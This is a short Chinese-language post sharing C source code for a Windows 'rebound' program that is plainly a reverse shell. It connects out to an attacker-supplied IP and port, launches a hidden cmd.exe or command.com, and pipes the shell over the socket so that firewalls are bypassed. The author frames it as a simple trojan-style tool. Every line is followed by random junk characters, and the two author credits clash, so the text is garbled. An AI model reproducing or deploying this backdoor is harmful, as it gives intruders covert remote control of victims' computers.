这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >)4~,-;k
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/* ============================== o6u^hG6~'
Rebound port in Windows NT Mc?_2<u-
By wind,2006/7 o "r
===============================*/ YIN* '!N
#include `Am|9LOT
#include t ]BG)]
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#pragma comment(lib,"wsock32.lib") L 0Ckw},,
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void OutputShell(); ^@x&n)nzP
SOCKET sClient; T>'w]wi
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <SE-:T]sBz
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void main(int argc,char **argv) T$kuv`?
{ FO>?>tK 0
WSADATA stWsaData; U R^r>
int nRet; DlzL(p@r
SOCKADDR_IN stSaiClient,stSaiServer; 2z;nPup,
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if(argc != 3) zeGWM,!
{ 1Ne;U/
printf("Useage:\n\rRebound DestIP DestPort\n"); xjp0w7L)J
return; "C}<umJ'
} 92j[b_P
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WSAStartup(MAKEWORD(2,2),&stWsaData); O}C*weU
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5xc e1[
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stSaiClient.sin_family = AF_INET; >JNdtP8s/1
stSaiClient.sin_port = htons(0); CL7_3^2qI
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3_RdzW}f
!}}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K7s[Fa6J
{ W
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printf("Bind Socket Failed!\n"); 0<V/[$}\D
return; $JOtUB{
} y:E$n!
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stSaiServer.sin_family = AF_INET; {yNeZXA>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z}SJ~WY'[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k/F#-},Q.
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #y&5pP:@
{ y /vc\e
printf("Connect Error!"); xsU%?"r
return; zZd.U\"2
} _k}Qe;
OutputShell(); |Fx *,91
} |a)zuC
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void OutputShell() 6lpJ+A57#
{ $J4)z&%dr
char szBuff[1024]; [kkhVi5;A
SECURITY_ATTRIBUTES stSecurityAttributes; T:
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OSVERSIONINFO stOsversionInfo; %4R1rUrgt|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aY4v'[
STARTUPINFO stStartupInfo; X#by Dg
char *szShell; |"}7)[BW}
PROCESS_INFORMATION stProcessInformation; 8@doKOA~T
unsigned long lBytesRead; I@qGDKz;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); { Mf-?_%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x;SY80D
stSecurityAttributes.lpSecurityDescriptor = 0; ~p'|A}9[/
stSecurityAttributes.bInheritHandle = TRUE; #t2N=3dOj
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;wJe%Nw?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -~RGjx
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2WLLI8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nWc@ufY
stStartupInfo.wShowWindow = SW_HIDE; eKuF7Oo
stStartupInfo.hStdInput = hReadPipe; Sz|kXk6&9
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p5"pQeS
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GetVersionEx(&stOsversionInfo); `'3&tAy
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switch(stOsversionInfo.dwPlatformId) eU)QoVt
{ G]$EIf'
case 1: 6pb~+=3n
szShell = "command.com"; $KT)Kz8tF
break; )zy;!
default: <l!:#u
szShell = "cmd.exe"; tZx}/&m-
break; amExZ/
} s;l"'6:_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mcidA%
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send(sClient,szMsg,77,0); uF[*@N
while(1) Xe:rPxZf~
{ V$FZVG/@#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); NB44GP1-@
if(lBytesRead) +BO kHXk1
{ -awG14%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); pyX:$j2R+%
send(sClient,szBuff,lBytesRead,0); B[h^] k
} unqUs08
else ] ZP!y
{ 86cnEj=
lBytesRead=recv(sClient,szBuff,1024,0); L%3Bp/`S
if(lBytesRead<=0) break; $e4N4e2x/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @+~>utr
} y$di_)&g
} eB_r.R{
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return; K;Hgq4
}